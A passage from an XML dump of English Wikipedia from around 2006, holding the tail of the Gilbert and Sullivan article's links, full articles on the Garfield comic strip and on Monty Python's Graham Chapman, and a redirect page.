*[http://www.mugss.org/ Manchester Universities' Gilbert &amp; Sullivan Society (includes links to other G&amp;S resources)]
*[http://www.gsyork.co.uk/ University of York Gilbert and Sullivan Society (includes links to other societies and G&amp;S resources)]
*[http://www.mcgillsavoy.ca/ McGill University Savoy Society (includes links to other societies in the Montreal area and G&amp;S resources)]
*[http://www.ggssonline.com/ Georgetown Gilbert &amp; Sullivan Society, &quot;America's Only Theater Group with its own Law School&quot;]
*[http://www.pattersong.org/seattle_productions.htm Seattle Gilbert and Sullivan Society (includes photos of their G&amp;S productions)]
*[http://hcs.harvard.edu/hrgsp/ The Harvard-Radcliffe Gilbert and Sullivan Players (includes an archive of their performances for the past fifty years, with photos, lyrics, and other information)]
*[http://www.cris.com/~oakapple/gasdisc/mc-adelaide.htm Gilbert and Sullivan Highlights] -  recordings of songs from Gilbert and Sullivan Savoy Operas
*[http://www.fvgss.org/ The Fraser Valley Gilbert and Sullivan Society (includes photos of their G&amp;S productions and other information)]
*[http://www.milborneportopera.co.uk/ Milborne Port Opera UK] - includes photos of G&amp;S productions and midi and Noteworthy files of Sullivan's music
[[Category:English composers|Sullivan, Arthur]]
[[Category:Opera composers|Sullivan, Arthur]]
[[Category:Operetta|Gilbert and Sullivan]]
[[Category:English writers|Gilbert, W. S.]]

[[de:Gilbert und Sullivan]]</text>
    </revision>
  </page>
  <page>
    <title>Garfield</title>
    <id>13022</id>
    <revision>
      <id>42112789</id>
      <timestamp>2006-03-03T22:27:09Z</timestamp>
      <contributor>
        <ip>71.103.98.172</ip>
      </contributor>
      <comment>/* Characters */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Garfield and Odie.gif|right|frame|Garfield (right) and Odie]]
'''''Garfield''''' is a comic strip created by [[Jim Davis (cartoonist)|Jim Davis]] featuring the [[cat]] Garfield, the pet [[dog]] [[List of Garfield characters#Odie|Odie]], and their socially inept owner [[List of Garfield characters#Jon Arbuckle|Jon Arbuckle]]. As of 2006, it is syndicated in roughly 2,570 newspapers and journals and it currently holds the [[Guinness World Record]] for being the world's most widely [[Print syndication|syndicated]] [[comic strip]] [http://www.guinnessworldrecords.com/content_pages/record.asp?recordid=47967]. The popularity of the strip has led to a children's cartoon show, several television specials and a feature-length film, as well as a large amount of ''Garfield''-related [[merchandise]].

The main character is named after Davis' grandfather, James Garfield Davis, who was named after former [[Presidents of the United States|U.S. president]] [[James Garfield]].

==Overview==
''Garfield'' had its debut on [[June 19]], [[1978]], which is also considered Garfield's birthday. The strip pokes fun at pet owners and their relationship with their pets - often portraying the pet as the true master of the home. Garfield also struggles with human problems, such as [[dieting|diet]]s, loathing of Mondays, [[apathy]], [[boredom]], and so on. 
Garfield is able to understand anything that Jon or other humans say, but doesn't talk to humans (he communicates to the reader in thought balloons, and Jon reacts to Garfield's thoughts). However, Garfield is able to talk to Odie and the other animals. Odie understands what Garfield says to him, but in general can not communicate back to Garfield except by barking. Most of the other animals (Arlene, Nermal, mice, and the other dogs) are capable of a two-way conversation with Garfield. Garfield apparently is able to type and a few times has written messages that Jon has read and understood (typically letters to [[Santa Claus]]), however this happens very rarely.

Over the course of the strip, Garfield's behavior and appearance evolved. Initially, he was drawn grossly obese with flabby jowls and small round eyes. Later, his appearance was slimmed down and his eyes enlarged. By 1983, his familiar appearance—featuring [[oval]]-shaped eyes—had taken shape. By this time, Garfield was walking on two feet, and the strip emphasized [[Situation comedy|sitcom]] situations such as Garfield making fun of Jon's stupidity and Jon's inability to make social connections. A number of the strip's readers feel that the quality of the writing has lessened, even as the artwork retained a consistent level of quality. Like many comic strips, ''Garfield'' is not exclusively drawn and written by its creator. Jim Davis's company, Paws Inc., employs cartoonists and writers who do most of the work of scripting, drawing, and inking the strip, while Davis's work is usually confined to approving and signing the finished strip. Davis spends most of his time managing the business and merchandising aspects of Garfield.

Learning from the indifference met with his previous comic strip creation [[Gnorm Gnat]], Jim Davis has made a conscious effort to include all readers in Garfield; keeping the jokes broad and the humour general and applicable to everyone. As a result the strip typically avoids the social or political commentary present in some of Garfield's contemporaries, such as ''[[Boondocks]]'', ''[[Doonesbury]]'', ''[[Dilbert]]'', and ''[[Cathy]]''. Although a couple of strips in 1978 addressed inflation and, arguably, [[organized labor]], as well as Jon frequently smoking a pipe or subscribing to a &quot;bachelor magazine&quot;, these elements were ultimately pruned from the product with the intent of maintaining a more universal appeal. Davis adamantly  disavowed social commentary in an interview published at the beginning of one of the book compilations, joking that he once believed that [[OPEC]] was a [[denture]] adhesive.

The characters and situations in Garfield are often constant, with no change or development for the past several years. While this is not unique to Garfield, as Calvin in ''[[Calvin and Hobbes]]'' and the children of ''[[Peanuts]]'' never age, other strips such as ''[[For Better or For Worse]]'', ''Cathy'', and ''Doonesbury'' maintain a continuity with characters who develop, age, and may even die as the strip proceeds.

The comic strip was turned into a cartoon special for television in [[1982 in television|1982]] called ''[[Here Comes Garfield]]''. Actor [[Lorenzo Music]], previously known as the voice of Carlton the doorman on the show ''[[Rhoda]]'', was hired to portray the voice of Garfield.  [[Soul music|Soul singer]] [[Lou Rawls]] provided musical accompaniment.  Twelve television specials were made (through [[1991 in television|1991]]) as well as a television series, ''[[Garfield and Friends]]'', which ran from [[1988 in television|1988]] to [[1995 in television|1995]].

A live-action movie version of the comic strip, ''[[Garfield (film)| Garfield: The Movie]]'' had its debut in the United States on [[June 11]], [[2004]]. The film employed a [[Computer-generated imagery|computer-animated]] Garfield and live-action Odie. Lorenzo Music had passed away prior to the filming of the movie, and [[Bill Murray]] was cast as the voice of Garfield.  Murray's laid-back, deadpan delivery has often been compared to Music's; indeed, Music provided the voice of Murray's [[Peter Venkman]] character in the cartoon version of ''[[Ghostbusters]]''.  Murray became the fourth actor to provide a voice for the Garfield: [[Tommy Smothers]] voiced the role in a cat food commercial, and an unnamed Music soundalike was used in another TV spot.  Prior to Murray being cast, it was widely reported that actor [[John Goodman]] had been picked to provide Garfield's voice for the film.

For his work on the strip, creator Jim Davis received the [[National Cartoonist Society]] Humor Strip Award for 1981 and 1985, and their [[Reuben Award]] for 1989.

On [[June 7]], [[1999]], newspapers began to be offered full-color ''Garfield'' weekday strips.

==Garfield's Marketing==
* His album: ''[[Am I Cool or What?]]''
* His suction-cupped kitties: &quot;Stuck on You&quot; phenomenon across America and takes several years for production met the demand. The concept was created after an idea trade with [[Scott Adams]] in 1990, which involved what type of object could hold the thing other than sticky items.
* His Fantasy Books: Garfield and friends appear in a series of fantasy books called ''Garfield's Pet Force'' where Garfield, Nermal, Arlene, Odie and Pooky were given [[List of powers in superhero fiction|super powers]] in an alternate dimension.

Garfield's inoffensive, merchandising-oriented approach has been criticized by a number of commentators including ''[[Calvin and Hobbes]]'' creator [[Bill Watterson]], whose views against merchandising were explained at great detail in ''The Calvin and Hobbes Tenth Anniversary Book''. Watterson, when asked for his opinion of fellow cartoonists, including Jim Davis, once tactfully described Garfield as &quot;consistent&quot;. [http://ignatz.brinkster.net/chonk.html] Chris Sullentrop of [[Slate]] accuses Davis of creating Garfield merely for the merchandising [http://www.slate.com/id/2102299/] while internet humorist [[The Best Page in the Universe|&quot;Maddox&quot;]] charges Davis with &quot;traumatizing millions with his bland humor week after tragic week&quot;. [http://www.thebestpageintheuniverse.net/c.cgi?u=garfield_sucks]

==Characters==
{{main|List of Garfield characters}}
Major characters in ''Garfield'' include:
; Garfield : The main character. A lazy, overweight, orange [[cat]] who likes eating and sleeping above all. He considers himself to be more intelligent than humans or dogs. Also, he hates Mondays. It was also revealed on [[February 10]] [[1999]] that he has a criminal record.
; Jon : Garfield's owner. He has poor social skills and his attempts at dating women always fail, but Garfield is happy as long as he keeps him fed. His birthday was [[July 28]] [[1950]] as was revealed in the 2005 strip on that date and a strip on [[December 23]] [[1980]] where he declares that he is 30 years old, making Jon currently 55 years old.
; Odie : Jon's pet [[dog]] (although technically owned by Jon's friend Lyman, who hasn't been seen in the strip in well over a decade). A yellow, long-eared dog who is always drooling. He is very stupid and naïve and because of this, Garfield likes to play tricks on him. Sometimes Odie is smart enough to play tricks on Garfield. Odie walks on two legs. Odie didn't appear on the very first comics, debuting on [[August 8]], the day after Lyman.
; Arlene : Garfield's on-and-off girlfriend. A [[pink]] cat with a long neck and a gap in her teeth. She truly loves Garfield, but he's too in love with himself to care.
; Nermal : &quot;The world's cutest [[kitten]]&quot;. Garfield hates him when he comes to show everyone how cute he is. Garfield often tries to mail him to [[Abu Dhabi]].
; Liz : A [[veterinarian]]. Garfield hates going to the vet's, but Jon often forces him to. Sometimes the visit is just an excuse for Jon to ask the beautiful Liz out for a date. Also, she claims that Liz is short for Lizard. She may have been joking.
; Pooky : Garfield's teddy bear and best friend. He gives the best hugs in the world.
; Lyman : Once was Jon's roommate and Odie's owner.  Stopped appearing in the strip after a few years, apparently because he was considered superfluous. ([[Jim Davis]] explained how the character was created to give Jon someone to be friends with and talk to, but as Garfield's character evolved and ended up speaking with Jon, the conversations became more Garfield-Jon oriented. This made Lyman's character unneeded, so even though they don't explain why, he was written out. Jim Davis later gave humorous scenarios of what happened in the ''Garfield 25th Anniversary Book''.)
; Mom : Jon's mom. Lives on a farm, and is known to be a great cook.
; Dad : Jon's dad. Lives on a farm, and is completely useless when it comes to modern equipment.
; Doc Boy : Jon's brother. Lives on a farm with his mom and dad, and often fights with Jon, calling him a &quot;City sissy&quot;.
; Spiders : Like most animals, spiders can communicate freely with Garfield.  Unfortunately for them, he takes great pleasure in swatting, squishing, or smashing them.  The spiders occasionally show a desire for revenge, but are usually friendly.
; Mice : shown in many previous Garfields. They live to torture Garfield, and get Garfield into a lot of trouble when Jon sees the things the mice do (tiny snowmen, balconys, etc.)

==Themes and Settings==
Usually, the standard setting is Garfield standing on a table or floor, always flat. Occasionally, Garfield ventures elsewhere and when goes somewhere else, he usually spends a week or two in that area.
* '''The TV Chair''' is one of Garfield's favorite places, where he entertains himself with shows such as Binky the Clown and others. Many of the shows mentioned are absurd and stupid, and give Jim Davis an opportunity to comment on pop-culture.
* '''Outside''', Garfield has confrontations with various characters, such as dogs (more vicious than Odie), birds, worms, and even conscious flowers. &quot;Beware of Dog&quot; signs are abound, and Garfield often tries to torment the chained-up dogs as some kind of revenge. Garfield tries to capture birds in the bird fountain, often unsuccessfully (However, unlike Tom in [[Tom and Jerry (MGM)|Tom and Jerry]], Garfield does occasionally kill and consume his prey). He finds it a lot easier to capture flowers though, and often eats them.
* Early in the series, Garfield would spend time on the '''window ledge''' and always get trapped in the roll-up blinds. This culminated in a two-week storyline in which Garfield, Odie, Jon, two complete strangers, and even a street lamp (Odie had to go) all got trapped in the blinds. This was one of the few storylines in which a Sunday strip was part of the regular story arc. After this, Jon bought Venetian blinds (which Garfield, somehow, still manages to get stuck in).
* '''The Fence in the Alley''' is an area where Garfield often tells bad jokes or caterwauls, in a homage to [[vaudeville]]. Odie joins the act from time to time, once as a [[ventriloquist]]'s dummy, and once as &quot;Mr Skins&quot;, who accompanied Garfield on the drums. Garfield is frequently the target of disgusted fans, who throw shoes, rotten vegetables, and houseplants at him and once burned down his fence with burning arrows (Garfield's temporary replacement, a plastic flamingo, just &quot;didn't feel the same&quot;). Garfield, however, loves the attention he receives, and once complained that he thought a joke deserved more than a single shoe. He does sometimes get applause from his audience, though one time the audience consisted solely of his mother.
* '''Up the tree''' is another area where Garfield often traps himself. Garfield knows not to climb, but ironically can never overcome the urge. A firefighter usually has to save him on the last day of the week. One time, Jon got stuck up the tree trying to rescue him.
* Occasionally, Garfield will be taken to the '''vet's office''', a place he loathes. In this setting, Jon always tries to get a date with Liz, the vet, and usually fails badly, his failures causing Garfield to snicker. At the end of one date, Jon got a kiss, currently his only on-screen kiss in the comic.
* Sometimes Jon takes Garfield to the '''park'''. Jon tries to meet girls in the park, but always fails miserably and humorously.
* '''Vacations''' are taken by Jon and his pets every so often, usually to exotic places. Early in the series, Garfield had to sneak along in the suitcase, but at some point Jon gave up and took him along as an equal. These are funny because they portray Jon's inability to get along with people normally. They also introduce new scenarios, which are usually rare in this strip.
* '''The Beach''' is frequented by Garfield and company, and is another site at which Jon fails at finding girls. Garfield hates the beach simply because it has no TV, and is too hot. This theme will often show up in the summer.
* '''Irma's diner''' was visited often early on, but not as much as the series progressed. Irma is a chirpy, but slow-witted and unattractive waitress/manager, and one of Jon's few friends. The food is terrible, and is the center of most of the jokes, along with the poor management.
* '''The window''' is a setting showing Garfield looking from inside the house, making comments on events going on outside. Sometimes Jon joins him.
* Jon periodically visits his parents and brother on the '''farm'''. This results in comical displays of stupidity by Jon and his family, and their interactions.
* '''The used car lot''' is an entertaining scene that parodies the business. Jon always gets conned by the overly clever and sneaky salesman, while Garfield knows it all along. This is paralleled in the '''used refrigerator store''' and '''used Christmas tree lot''' which appear later.

Garfield often engages in week-long interactions with a minor character, event, or thing, such as Nermal, Arlene, the mailman, an alarm clock, a scale, the TV, Pooky, spiders, mice, coffee, hamburgers, balls of yarn, [[rubber chicken]]s, dieting, shedding, pie throwing, fishing, Mondays, Clive, lasagna, the &quot;Caped Avenger&quot;, sweaters, colds, etc.

Some more unique themes are things like &quot;Garfield's Believe It or Don't&quot;, &quot;Garfield's Law&quot;, &quot;Garfield's History&quot;, which show the world, history, and science from Garfield's point-of-view. Another particular theme is the &quot;National Fat Week&quot;, where Garfield spends the week making fun of skinny people. Most of December is spent preparing for [[Christmas]], with a predictable focus on presents. Every week before June 19th, the strip focuses on his birthday, which Garfield dreads. Occasionally the strip celebrates [[Halloween]] as well with scary-themed jokes. Jokes are introduced seasonally, with snow-related gags common in January or February and beach or heat themed jokes in the summer.

One storyline, which lasted a week from October the 23rd, 1989 (possibly to coincide with Halloween, although the 31st actually fell the following week), is unique in that it is not humorous. It depicts Garfield awakening in a future in which the house is abandoned and he no longer exists. This is revealed to have been a dream of some kind, and ends with this narration: &quot;An imagination is a powerful tool. It can tint memories of the past, shade perceptions of the present, or paint a future so vivid that it can entice...or terrify, all depending on how we conduct ourselves today.&quot; Alternatively, some theorize that the end of this storyline actually implies that the rest of the series, the more conventional strips, are all fantasies Garfield is playing out in his head to delude himself from realizing the dark turn his life has taken, as he slowly starves to death in an abandoned house. This is arguably supported by the text, as the narration reads &quot;After years of taking life for granted, Garfield is shaken by a horrifying vision of the invevitable process called 'time'. He has only one weapon... '''Denial'''&quot; right before Jon and Odie reappear. This emphasis on Denial, with the word given its own box in the panel it appears in, and being followed immediately by the earlier text on the power of the imagination, supports the theory.

==Removing Garfield's thought bubbles==
On February 11, 2006, author [[Neil Gaiman]] noted a new internet trend of removing Garfield's thought bubbles from the strip [http://www.neilgaiman.com/journal/archive/2006_02_01_archive.html], apparently invented by a member of the ''Truth And Beauty Bombs'' forums [http://www.truthandbeautybombs.com/bb/viewtopic.php?t=4997&amp;postdays=0&amp;postorder=asc&amp;start=0]. The author of a similar project, ''Arbuckle'', explains: &quot;'Garfield' changes from being a comic about a sassy, corpulent feline, and becomes a compelling picture of a lonely, pathetic, delusional man who talks to his pets. Consider that Jon, according to Garfield canon, cannot hear his cat's thoughts. This is the world as he sees it. This is his story.&quot; [http://www.tailsteak.com/arbuckle/]

==Television==
* ''[[Garfield and Friends]]'' ([[Animated cartoon|Animated cartoon series]], 1988–1995)
* ''[[Garfield Gets a Life]]'' (animated special) 1991
* ''[[Garfield's Feline Fantasies]]'' (animated special) 1990
* ''[[Garfield's Thanksgiving]]'' (animated special) 1989
* ''[[Garfield's Babes and Bullets]]'' (animated special) 1989
* ''[[Garfield: His 9 Lives]]'' (animated special) 1988
* ''[[Garfield Goes Hollywood]]'' (animated special) 1987
* ''[[A Garfield Christmas]]'' (animated special) 1987
* ''[[Garfield in Paradise]]'' (animated special) 1986
* ''[[Garfield's Halloween Adventure]]'' (animated special) 1985
* ''[[Garfield in the Rough]]'' (animated special) 1984
* ''[[Garfield on the Town]]'' (animated special) 1983
* ''[[Here Comes Garfield]]'' (animated special) 1982

==Books==
===Numbered Paperbacks===
These books, generally released twice a year, contain reprints of the comic as it appears in newspapers daily.  These books were originally printed in black and white, but recent ones have been in color, each book covers approximately six months of comics, including the larger weekend comics (in black and white in all except the recent editions).  

The titles of these books were styled as [[double entendre|double entendres]] alluding to Garfield's weight or his habits.  These books introduced the &quot;Garfield format&quot; in publishing, whereby the books are horizontally oriented to match comic strip dimensions. They are currently being reprinted in a larger format, showing the Sunday strips to be formatted in a size as they usually are, instead of shrunken-down to meet the book size. Newer versions of the books will  be released in paperback only, and in full color for every cartoon, not just the Sunday strips.

# ''Garfield At Large: His First Book''  1980
# ''Garfield Gains Weight: His Second Book''  1981
# ''Garfield Bigger than Life: His Third Book''  1981
# ''Garfield Weighs In: His Fourth Book''  1982
# ''Garfield Takes the Cake: His Fifth Book''  1982
# ''Garfield Eats His Heart Out: His Sixth Book''  1983
# ''Garfield Sits Around the House: His Seventh Book''  1983
# ''Garfield Tips the Scales: His Eighth Book''  1984
# ''Garfield Loses His Feet: His Ninth Book''  1984
# ''Garfield Makes it Big: His 10th Book''  1985
# ''Garfield Rolls On: His 11th Book''  1985
# ''Garfield Out to Lunch: His 12th Book''  1986
# ''Garfield Food for Thought: His 13th Book''  1987
# ''Garfield Swallows His Pride: His 14th Book''  1987
# ''Garfield World Wide: His 15th Book''  1988
# ''Garfield Rounds Out: His 16th Book''  1988
# ''Garfield Chews the Fat: His 17th Book''  1989
# ''Garfield Goes to Waist: His 18th Book''  1990
# ''Garfield Hangs Out: His 19th Book''  1990
# ''Garfield Takes Up Space: His 20th Book''  1991
# ''Garfield Says a Mouthful: His 21st Book''  1991
# ''Garfield By the Pound: His 22nd Book''  1992
# ''Garfield Keeps His Chins Up: His 23rd Book''  1992
# ''Garfield Takes His Licks: His 24th Book''  1993
# ''Garfield Hits the Big Time: His 25th Book''  1993
# ''Garfield Pulls his Weight: His 26th Book''  1994
# ''Garfield Dishes it Out: His 27th Book''  1995
# ''Garfield Life in the Fat Lane: His 28th Book''  1995
# ''Garfield Tons of Fun: His 29th Book''  1996
# ''Garfield Bigger and Better: His 30th Book''  1996
# ''Garfield Hams it Up: His 31st Book''  1997
# ''Garfield Thinks Big: His 32nd Book''  1997
# ''Garfield Throws His Weight Around: His 33rd Book''  1998
# ''Garfield Life to the Fullest: His 34th Book''  1999
# ''Garfield Feeds the Kitty: His 35th Book''  1999
# ''Garfield Hogs the Spotlight: His 36th Book''  2000
# ''Garfield Beefs Up: His 37th Book''  2000
# ''Garfield Gets Cookin': His 38th Book'' 2001
# ''Garfield Eats Crow: His 39th Book''  2003
# ''Garfield Survival of the Fattest: His 40th Book'' 2004
# ''Garfield Older and Wider: His 41st Book''  2005
# ''Garfield Pigs Out: His 42nd Book''  2006
* In the UK, over 60 Garfield books, mainly 'Pocket Books' or paperbacks, have been published by [[Ravette]]. The format is slightly different, as the strips are presented in a vertical style.

==Other books==
*''[[Garfield: His 9 Lives]]'' (1984) - [[graphic novel]], later made into a TV special.
*''Garfield and the Truth About Cats'' (1991)
*''Garfield's Guide to Everything'' (2004)
*''Garfield book of Cat Names'' (1988)
*''Garfield Crazy about Numbers'' (sticker book)
*''Give Me Coffee and No One Gets Hurt'' (discontinued)
*''Garfield's Big Book of Excellent Excuses'' (2000)
*''Garfield and the Santa Spy''

Additionally, adaptations of Garfield television specials have been published in comic format:
*''A Garfield Christmas'' (1987)
*''Garfield Travel Adventures'' (2005) collects three previous books:
:*''Garfield in the Rough'' (1984)
:*''Garfield in Paradise''(1986)
:*''Garfield Goes to Hollywood''(1988)

Several early-reader adventure novels featuring Garfield were published in the late 1990's:
*''Garfield and the Beast in the Basement'' (1998)
*''Garfield and the Mysterious Mummy'' (1998)
*''Garfield and the Teacher Creature'' (1998)
*''Garfield and the Wicked Wizard'' (1999)

==Video games==
[[Image:S20558c8cot.jpg|thumb|right|250px|Title screen for ''Garfield: Caught in the Act'']]
Garfield was also transported into [[video game]]s, the first being a never-released [[Atari 2600]] [[prototype]], in 1983, and there was also a [[NES]] game of Garfield made in Japan in 1989.

Other titles:
#''Create With Garfield'' [http://www.thelogbook.com/phosphor/apple/q2-02/g.htm] (1985) for [[Apple II]] and [[Commodore 64]]
#''[[Garfield: A Big Fat Hairy Deal]]'' (1987) for [[ZX Spectrum]] and [[Commodore 64]]
#''[[Garfield: A Winter's Tail]]'' (1989) for [[Atari ST]] (Will not work on Atari STe computers), [[Amiga]], ZX Spectrum and Commodore 64
#''[[Garfield no Isshukan]] (1989) for the [[NES]]
#''[[Garfield Labyrinth]]'' (Unknown year) for [[Nintendo Game Boy]]
#''[[Garfield: Caught in the Act]]'' (1995), for [[Sega Genesis|Genesis]] , [[Game Gear]] and [[Personal computer|PC]] 
#''[[Garfield (game)|Garfield]]'' (2004), for [[Personal computer|PC]] and [[PlayStation 2|PS2]]
#''[[Garfield's Mad About Cats]]'' (2005), for [[Personal computer|PC]]
#''[[Garfield: The Search for Pooky]]'' (2005) for [[Game Boy Advance|GBA]]
#''[[Garfield &amp; His Nine Lives]]'' (2006) for [[Game Boy Advance|GBA]]
#''[[Garfield: A  Tale of Two Kitties]]'' (2006) for [[Nintendo DS]]
#''[[Garfield Bound for Home]]'' (2006) for [[Nintendo DS]]

==Films==
* ''[[Garfield (film)|Garfield: The Movie]]'' (2004) — [[Breckin Meyer]], [[Jennifer Love Hewitt]], and [[Bill Murray]] as the voice of Garfield.
* ''[[Garfield's A Tale of Two Kitties]]'' (2006) — same cast.

==External links==
{{wikiquote}}
* [http://www.garfield.com/ Official site]
* [http://www.gamerwithin.com/?view=article&amp;article=990 Garfield on the Nintendo DS]

[[Category:Garfield|*]]
[[Category:Comic strips]]
[[Category:Comics characters]]
[[Category:Animated characters]]
[[Category:Fictional cats]]
[[Category:Fictional overeaters]]
[[Category:Anthropomorphic comics]]

[[id:Garfield]]
[[da:Garfield]]
[[de:Garfield]]
[[es:Garfield]]
[[fr:Garfield]]
[[he:גארפילד (קומיקס)]]
[[nl:Garfield (strip)]]
[[ja:ガーフィールド]]
[[no:Pusur]]
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[[zh:加菲猫]]</text>
    </revision>
  </page>
  <page>
    <title>Grovers algorithm</title>
    <id>13023</id>
    <revision>
      <id>15910665</id>
      <timestamp>2002-06-20T16:16:52Z</timestamp>
      <contributor>
        <username>CYD</username>
        <id>45</id>
      </contributor>
      <comment>redirect to Grover's algorithm</comment>
      <text xml:space="preserve">#REDIRECT [[Grover's algorithm]]</text>
    </revision>
  </page>
  <page>
    <title>Graham Chapman</title>
    <id>13024</id>
    <revision>
      <id>41635221</id>
      <timestamp>2006-02-28T18:06:30Z</timestamp>
      <contributor>
        <username>Fritzsokol</username>
        <id>201356</id>
      </contributor>
      <minor />
      <comment>/* Lifestyle */</comment>
      <text xml:space="preserve">[[Image:Chapman.jpg|right|thumb|Chapman in one of his calmer moments]]

'''Graham Chapman''' ([[8 January]] [[1941]]–[[4 October]] [[1989]]) was a [[United Kingdom|British]] [[comedian]] and [[writer]]. He was one of the six [[Monty Python]] members and lead actor in their two narrative films playing [[King Arthur]] in ''[[Monty Python and the Holy Grail]]'' and Brian in ''[[Life of Brian]]''.

==Education and early performance==
Chapman was educated at [[Melton Mowbray]] Grammar School and studied medicine at [[Emmanuel College, Cambridge|Emmanuel College]] at the [[University of Cambridge]], where he began writing comedy with fellow University student [[John Cleese]]. He qualified as a [[medical doctor]] at the [[Barts and The London School of Medicine and Dentistry|Barts Hospital Medical College]], but rarely practised medicine.

While at Cambridge, Chapman joined the infamous [[Footlights]]. Fellow members were [[John Cleese]], [[Tim Brooke-Taylor]], [[Bill Oddie]], [[David Hatch]], [[Jonathan Lynn]], [[Humphrey Barclay]], and [[Jo Kendall]]. Their revue ''A Clump of Plinths'' was so successful at the [[Edinburgh Fringe Festival]] that they renamed it ''[[Cambridge Circus (comedy)|Cambridge Circus]]'', and took the revue to the [[West End theatre|West End]] in [[London]] and later [[New Zealand]] and [[Broadway theatre|Broadway]]. The revue appeared in [[October]] [[1964]] on ''[[The Ed Sullivan Show]]''.

==Writing for the BBC==
Chapman and Cleese wrote professionally for the [[BBC]] during the [[1960s]], primarily for the ubiquitous [[David Frost (broadcaster)|David Frost]], but also for [[Marty Feldman]]. Chapman also contributed sketches to the BBC radio series ''[[I'm Sorry, I'll Read That Again]]'' and television programs such as ''[[The Illustrated Weekly Hudd]]'' (starring [[Roy Hudd]]), ''[[Cilla Black]]'', ''[[This is Petula Clark]]'', and ''[[This is Tom Jones]]''. Chapman, Cleese, and Tim Brooke-Taylor then joined Marty Feldman in the television comedy series ''[[At Last the 1948 Show]]''. Chapman (and Cleese on occasion) also wrote  for the long-running television comedy series ''[[Doctor in the House (TV series)|Doctor in the House]]''. Chapman also co-wrote several episodes with [[Bernard McKenna]] and [[David Sherlock]].   

==Monty Python's Flying Circus is born==
In [[1969]] Chapman and Cleese joined [[Michael Palin]], [[Terry Jones]], [[Eric Idle]] and [[United States|American]] artist [[Terry Gilliam]] for ''[[Monty Python's Flying Circus]]''. Cleese and Chapman's classic Python sketches include &quot;[[The Ministry of Silly Walks]]&quot; and &quot;[[Dead Parrot]]&quot;. One of Chapman's most famous characters was &quot;The Colonel&quot;, a stuffy army officer who occasionally appeared out of nowhere to order the end of a sketch for being too silly. After Cleese left the series in [[1973]], Chapman wrote alone, as well as a bit with [[Neil Innes]] and [[Douglas Adams]] for the final fourth season. He then developed a number of television and movie projects, most notably ''[[Out of the Trees]]'', ''[[The Odd Job]]'' and ''[[Yellowbeard]]'', in which he starred along side Cleese, [[Peter Cook]], [[Cheech and Chong]] and Feldman (who died during the final days of production.)

==After Python==
In the late [[1970s]], Chapman moved to [[Los Angeles]], where he guest-starred on many US television shows, including ''[[The Hollywood Squares]]'', ''[[Still Crazy Like a Fox]]'', and the [[NBC]] sketch series ''[[The Big Show (TV show)]]''. Upon returning to [[England]] he became involved with the [[Dangerous Sports Club]] (an [[extreme sports]]club which introduced [[bungee jumping]] to a wide audience), and he began the first of a lengthy series of US college lecture tours in the [[1980s]]. His memoir, &quot;[[A Liar's Autobiography]]&quot;, was published in [[1980]] and, unusually for an [[autobiography]], had five [[author]]s: Chapman, his partner [[David Sherlock]], [[Alex Martin]], [[David Yallop]] and [[Douglas Adams]], who in [[1977]] was virtually unknown as a recent graduate fresh from Cambridge. Adams was mentored by Chapman, but they later had a falling out and didn't speak for several years.

[[Image:Graham_Chapman_Colonel.jpg|right|thumb||Graham Chapman as The Colonel in ''Monty Python's Flying Circus'']]

==Lifestyle==
Among Chapman's best friends were [[Keith Moon]] of [[The Who]], singer [[Harry Nilsson]], and [[Beatle]] [[Ringo Starr]]. Chapman was an [[alcoholic]] in the 1970s, and he also kept his [[homosexuality]] a secret until the mid-70's (although his fellow Pythons were already aware of his sexual orientation) when he famously [[coming out|came out]] on a British chat show, one of the first celebrities to do so. Several days later, he came out to a group of friends at a party held at his home in [[Belsize Park]] where he officially introduced them to his partner, [[David Sherlock]]. Afterwards, he became a vocal spokesman on [[gay rights]].

One of [[Michael Palin]]'s favourite stories about Chapman involved Palin's trips to collect him every morning for Python-related business: he would call up to Chapman's window and be greeted by a collection of young men before Chapman eventually surfaced, pipe in mouth. After Chapman made his homosexuality public on a television show hosted by British [[jazz]] musician [[George Melly]], a member of the public wrote to the Pythons to complain that she had heard a member of the team was a homosexual, continuing on to quote a [[Bible]] passage which said &quot;he who lies with another man shall be taken out and killed.&quot; Idle sent a reply saying, &quot;We've found out who he was and we've taken him out and killed him.&quot;

==Death==
Chapman died at the age of 48 on [[4 October]] [[1989]], of [[pneumonia]] brought about by the [[throat cancer]] which had [[Metastasis|metastasised]] to his [[vertebral column|spine]]. His death was one day before the 20th anniversary of the first broadcast of ''Flying Circus'' - in Jones' words, &quot;the worst case of party-pooping in all history.&quot; Cleese delivered a [[eulogy]] for Chapman (text of eulogy see external links), during which he deliberately used the word &quot;[[fuck]]&quot; as well as other expletives, and got away with it on the BBC without having the bad language censored. Cleese's eulogy was so funny that it was noted that some people at the funeral &quot;almost died laughing.&quot; Cleese has said that Chapman would have liked that. After the [[eulogy]] [[John Cleese|Cleese]] was joined by [[Terry Gilliam|Gilliam]], [[Eric Idle|Idle]], [[Terry Jones|Jones]], and [[Michael Palin|Palin]] to sing &quot;[[Always Look on the Bright Side of Life]]&quot; from the film [[Monty Python's Life of Brian]]. [[Eric Idle|Idle]] made the last comment on the tribute by requesting that &quot;he would be the last person to say 'fuck'&quot;.

==Legacy==
The remaining Python members have acknowledged that, while brilliant, Chapman was exasperating to work with, and difficult to know. After his death, speculation of a Python revival inevitably faded. As Idle said, &quot;we would only do a reunion if Graham came back from the dead. So we're negotiating with his agent.&quot; (Subsequent gatherings of the Pythons have in fact included an urn, said to contain Chapman's [[cremation|ashes]]).

Chapman's ashes were scattered over the summit of [[Snowdon]], [[North Wales]] by Sherlock on [[June 18]] [[2005]].

==Further reading==
* {{cite book
 | first = Graham | last = Chapman 
 | year = 2005 | month = October
 | title = Calcium Made Interesting : Sketches, Letters, Essays &amp; Gondolas
 | editor = Jim Yoakum (ed.)
 | publisher = Sidgwick &amp; Jackson  | location = London | id = ISBN 0283070161
 }}
* {{cite book
 | first = Robert 
 | last = Hewison
 | year = 1983 
 | title = Footlights! - A Hundred Years of Cambridge Comedy
 | publisher = Methuen London  | location = London
 | id = ISBN 0413511502
 }}
* {{cite book
 | first = Roger | last = Wilmut
 | year = 1980
 | title = From Fringe to Flying Circus - 'Celebrating a Unique Generation of Comedy 1960-1980'
 | publisher = Eyre Methuen
 | id = ISBN 0413469506
 }}

==External links==
* [http://www.gcarchives.com/ Graham Chapman Archives] - Official site
* [http://www.bbc.co.uk/comedy/guide/talent/c/chapman_graham.shtml Graham Chapman] - BBC Comedy Guide
* [http://www.ibdb.com/person.asp?id=79107 Graham Chapman] - at the [[Internet Broadway Database]]
